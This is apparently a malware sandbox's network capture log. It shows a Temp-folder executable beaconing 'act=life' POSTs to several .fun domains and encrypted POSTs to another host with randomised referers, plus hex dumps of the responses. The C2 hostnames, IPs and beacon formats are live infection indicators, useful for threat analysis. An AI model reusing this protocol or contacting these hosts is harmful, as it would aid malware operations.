18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 1d 8c 53 3c dc 07 bc e7 88 bc 88 62 a6 e4 c8 92 b9 e1 b1 40 0f cd 29 8d 8d 71 7d b0 63 ba 6e bd 0b 89 e2 cf ff 6f 53 b6 46 40 a6 98 8b cf 87 a9 67 82 93 15 b8 18 92 1b f2 22 21 46 87 8f b0 5f 1b 35 f2 d0 09 b4 e1 6a 3b 16 bf 5c 96 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjn5sq132}E\|WD<PQf}(jC\SMU`T[U&XJU>!K:V/#RSSR+{~EB-DNa~i~_DzN,%Qa>\|(HkJ{/a]F4l3l)\|~qhJO;y"lUvW;)r#=1yr+LCIFhU=hU@Wd{9&Db`W=fu2QKk^Tz)2[&`ZL\h)l^ul}'z~ty`Cbzk/M"~azx7 RH:M_cwv'}.5_)CCUbx:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9*nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=S<b@)q}cnoSF@g"!F_5j;\
Dec 20, 2023 03:12:37.620371103 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ocfegapkhafavh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:37.909172058 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 20, 2023 03:12:37.915854931 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aqmmkbxfjapxq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:38.202910900 CET	234	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 65 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1b 81 01 c7 5b cb f7 07 a6 3b bf 29 46 16 31 e4 76 4b 6d 82 5c 2c 13 37 c1 a5 94 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eUys/~(`:[;)F1vKm\,70
Dec 20, 2023 03:12:41.100395918 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lscnjomalgkoadp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 124 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:41.387207031 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 20, 2023 03:12:41.391057968 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://teyiyywrapi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:41.677123070 CET	261	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 39 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 c1 5d de fa 09 b4 20 fd 26 4c 17 34 ff 6b 4b 36 d4 00 2a 5f 2e d3 af 87 ed 8d 73 95 64 7e 0b 69 e3 b4 e8 fa 58 6e 96 77 7b b8 da 85 39 bf 06 26 fb 43 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 49Uys/~(u:R] &L4kK6*_.sd~iXnw{9&C0
Dec 20, 2023 03:12:46.509696960 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bgokjqcoghlgo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:46.795902014 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 20, 2023 03:12:46.800621033 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pwvqtyybdwjyshco.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:47.089236975 CET	241	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 35 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 87 14 d0 59 9c fe 09 b7 3a e5 3f 57 5b 38 be 65 0b 69 c3 57 3b 0f 7c c3 e2 90 a9 d6 71 8a 63 32 5d 0d 0a 30 0d 0a 0d 0a Data Ascii: 35Uys/~(`:Y:?W[8eiW;\|qc2]0
Dec 20, 2023 03:12:50.316572905 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kvfvcxauqdtrbkq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:50.604110956 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.81.99	80	2840	C:\Users\user\AppData\Local\Temp\5828.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:29.512814999 CET	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: breakfastchanneljw.fun
Dec 20, 2023 03:12:29.512866974 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 20, 2023 03:12:30.047236919 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=ti1lvn8saa5jvj1kvi0iv6rbac; expires=Sat, 13-Apr-2024 19:59:08 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 18-Feb-2024 02:12:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 18-Feb-2024 02:12:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 18-Feb-2024 02:12:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=60UlV3kDWDhWNk2rdfdEaJF7z0ZalE%2Fd%2BOkTsrcmbprXF6JbG1l%2B35zpOP9iQALX6r3GUKVCRtARdJ4a%2F%2BsVVlZxuZvl8CnBZNxksg9yuNN0ExMtNqp2zdsphPyTzdl6J0X0dBvJdpt3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845 Data Raw: Data Ascii:
Dec 20, 2023 03:12:30.047249079 CET	33	IN	Data Raw: 35 34 63 62 37 33 32 35 39 64 2d 4d 49 41 0d 0a 0d 0a 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: 54cb73259d-MIAaerror #D12
Dec 20, 2023 03:12:30.047257900 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.80.57	80	2840	C:\Users\user\AppData\Local\Temp\5828.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:30.320745945 CET	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: dayfarrichjwclik.fun
Dec 20, 2023 03:12:30.320775032 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 20, 2023 03:12:30.856343985 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=6jvra3lolifevp52vgn71if7th; expires=Sat, 13-Apr-2024 19:59:09 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 18-Feb-2024 02:12:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 18-Feb-2024 02:12:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 18-Feb-2024 02:12:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IMs%2BAHXJO3r8oMHm1%2FDCeRMwG9QKC%2FlrBHptkuBJi7xn4QF6OYlcDGJ20pcVQ9bVLCS6SGD3oPPbiUnW2ZMHImaJMe3ifqxAz4R3iRM7%2BLpDjOpTBd0zHLzR7uEelL2TxSVB2FA3MA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 838 Data Raw: Data Ascii:
Dec 20, 2023 03:12:30.856355906 CET	35	IN	Data Raw: 35 63 35 39 64 65 63 35 38 64 66 64 2d 4d 49 41 0d 0a 0d 0a 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: 5c59dec58dfd-MIAaerror #D12
Dec 20, 2023 03:12:30.856364965 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	172.67.143.130	80	2840	C:\Users\user\AppData\Local\Temp\5828.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:31.122783899 CET	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: neighborhoodfeelsa.fun
Dec 20, 2023 03:12:31.122818947 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 20, 2023 03:12:31.529406071 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=alpim5r26i5helnkhm5jsggrne; expires=Sat, 13-Apr-2024 19:59:10 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 18-Feb-2024 02:12:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 18-Feb-2024 02:12:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 18-Feb-2024 02:12:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wi5NZpvDqBTMcW3ys9gGzvL5onmPEPU0fpitDoaIj6cPff0qfe80vL0Kwiqjsw%2BUeBK7iOyIXslv4pvcgwzJ1lHZ1iXUZAyKDVMyI2U7OhhtWtZC3lWFKeHq4HHNwdG24h9QfAOXqrVs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845c5edd8d5 Data Raw: Data Ascii:
Dec 20, 2023 03:12:31.529457092 CET	25	IN	Data Raw: 36 33 2d 4d 49 41 0d 0a 0d 0a 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: 63-MIAaerror #D12
Dec 20, 2023 03:12:31.529500008 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	172.67.183.217	80	2840	C:\Users\user\AppData\Local\Temp\5828.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:31.831176996 CET	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: diagramfiremonkeyowwa.fun
Dec 20, 2023 03:12:31.831229925 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 20, 2023 03:12:31.986362934 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=43zrpM%2F2uHkez%2FgjcKy2xIRv0eMgwrKsZ07hnN2Y2FXPqR4%2BHByol4OaoC2aWzKztbj%2Fv5TisJCp392nvScshi2d%2FDi8C%2FSnSHrKQzbDbJ9ruCy9Et8Y5326McV8QCCCiWNL3s3WQRXLjpjK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845c634d406db0-MIA Data Raw: 31 32 37 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 Data Ascii: 1279<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html 